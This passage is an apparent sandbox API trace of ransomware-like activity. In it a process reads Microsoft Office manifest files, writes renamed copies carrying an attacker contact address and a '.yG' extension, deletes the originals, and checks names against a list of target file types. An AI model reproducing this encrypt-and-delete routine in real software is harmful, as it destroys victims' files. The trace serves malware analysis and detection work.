	[0049.808] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4c00, lpOverlapped=0x0) returned 1
	[0049.809] ReadFile (in: hFile=0x388, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.809] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.809] SetEndOfFile (hFile=0x38c) returned 1
	[0049.809] CloseHandle (hObject=0x38c) returned 1
	[0049.810] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.810] SetEndOfFile (hFile=0x388) returned 1
	[0049.811] CloseHandle (hObject=0x388) returned 1
	[0049.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".doc") returned 4
	[0049.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString=".docx") returned 5
	[0049.813] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.813] lstrlenW (lpString=".pdf") returned 4
	[0049.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString=".xls") returned 4
	[0049.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString=".xlsx") returned 5
	[0049.813] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.813] lstrlenW (lpString=".ppt") returned 4
	[0049.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".zip") returned 4
	[0049.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.813] lstrlenW (lpString=".rar") returned 4
	[0049.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString=".bz2") returned 4
	[0049.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString=".7z") returned 3
	[0049.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".dbf") returned 4
	[0049.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".1cd") returned 4
	[0049.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".jpg") returned 4
	[0049.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.813] lstrlenW (lpString=".doc") returned 4
	[0049.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString=".docx") returned 5
	[0049.814] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.814] lstrlenW (lpString=".pdf") returned 4
	[0049.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString=".xls") returned 4
	[0049.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString=".xlsx") returned 5
	[0049.814] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.814] lstrlenW (lpString=".ppt") returned 4
	[0049.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.814] lstrlenW (lpString=".zip") returned 4
	[0049.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.814] lstrlenW (lpString=".rar") returned 4
	[0049.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString=".bz2") returned 4
	[0049.814] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString=".7z") returned 3
	[0049.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.814] lstrlenW (lpString=".dbf") returned 4
	[0049.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.814] lstrlenW (lpString=".1cd") returned 4
	[0049.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0049.814] lstrlenW (lpString=".jpg") returned 4
	[0049.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.814] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.814] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53
	[0049.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.818] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0049.818] CloseHandle (hObject=0x2f4) returned 1
	[0049.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.818] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.818] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0049.821] GetLastError () returned 0x0
	[0049.821] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0049.883] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0049.885] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.885] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.885] SetEndOfFile (hFile=0x348) returned 1
	[0049.885] CloseHandle (hObject=0x348) returned 1
	[0049.886] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.886] SetEndOfFile (hFile=0x2f4) returned 1
	[0049.886] CloseHandle (hObject=0x2f4) returned 1
	[0049.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.887] lstrlenW (lpString=".doc") returned 4
	[0049.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.887] lstrlenW (lpString=".docx") returned 5
	[0049.887] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.887] lstrlenW (lpString=".pdf") returned 4
	[0049.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.887] lstrlenW (lpString=".xls") returned 4
	[0049.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.887] lstrlenW (lpString=".xlsx") returned 5
	[0049.887] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.887] lstrlenW (lpString=".ppt") returned 4
	[0049.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.887] lstrlenW (lpString=".zip") returned 4
	[0049.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.887] lstrlenW (lpString=".rar") returned 4
	[0049.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString=".bz2") returned 4
	[0049.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString=".7z") returned 3
	[0049.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString=".dbf") returned 4
	[0049.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString=".1cd") returned 4
	[0049.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString=".jpg") returned 4
	[0049.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString=".doc") returned 4
	[0049.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString=".docx") returned 5
	[0049.888] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.888] lstrlenW (lpString=".pdf") returned 4
	[0049.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString=".xls") returned 4
	[0049.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString=".xlsx") returned 5
	[0049.888] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.888] lstrlenW (lpString=".ppt") returned 4
	[0049.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.888] lstrlenW (lpString=".zip") returned 4
	[0049.889] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.889] lstrlenW (lpString=".rar") returned 4
	[0049.889] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.889] lstrlenW (lpString=".bz2") returned 4
	[0049.889] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.889] lstrlenW (lpString=".7z") returned 3
	[0049.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.889] lstrlenW (lpString=".dbf") returned 4
	[0049.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.889] lstrlenW (lpString=".1cd") returned 4
	[0049.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104
	[0049.889] lstrlenW (lpString=".jpg") returned 4
	[0049.889] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.889] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.889] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53
	[0049.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.889] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0049.889] CloseHandle (hObject=0x2f4) returned 1
	[0049.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0049.890] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.890] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0049.890] GetLastError () returned 0x0
	[0049.890] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.064] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.065] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.065] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.065] SetEndOfFile (hFile=0x348) returned 1
	[0050.065] CloseHandle (hObject=0x348) returned 1
	[0050.066] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.066] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.067] CloseHandle (hObject=0x2f4) returned 1
	[0050.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".doc") returned 4
	[0050.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".docx") returned 5
	[0050.068] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.068] lstrlenW (lpString=".pdf") returned 4
	[0050.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".xls") returned 4
	[0050.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".xlsx") returned 5
	[0050.068] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.068] lstrlenW (lpString=".ppt") returned 4
	[0050.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".zip") returned 4
	[0050.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.068] lstrlenW (lpString=".rar") returned 4
	[0050.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".bz2") returned 4
	[0050.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".7z") returned 3
	[0050.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".dbf") returned 4
	[0050.068] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".1cd") returned 4
	[0050.068] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".jpg") returned 4
	[0050.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.068] lstrlenW (lpString=".doc") returned 4
	[0050.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.068] lstrlenW (lpString=".docx") returned 5
	[0050.069] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.069] lstrlenW (lpString=".pdf") returned 4
	[0050.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString=".xls") returned 4
	[0050.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString=".xlsx") returned 5
	[0050.069] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.069] lstrlenW (lpString=".ppt") returned 4
	[0050.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.069] lstrlenW (lpString=".zip") returned 4
	[0050.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.069] lstrlenW (lpString=".rar") returned 4
	[0050.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString=".bz2") returned 4
	[0050.069] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString=".7z") returned 3
	[0050.069] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.069] lstrlenW (lpString=".dbf") returned 4
	[0050.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.069] lstrlenW (lpString=".1cd") returned 4
	[0050.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0050.069] lstrlenW (lpString=".jpg") returned 4
	[0050.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.069] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.070] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53
	[0050.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.070] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2147) returned 1
	[0050.070] CloseHandle (hObject=0x2f4) returned 1
	[0050.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220
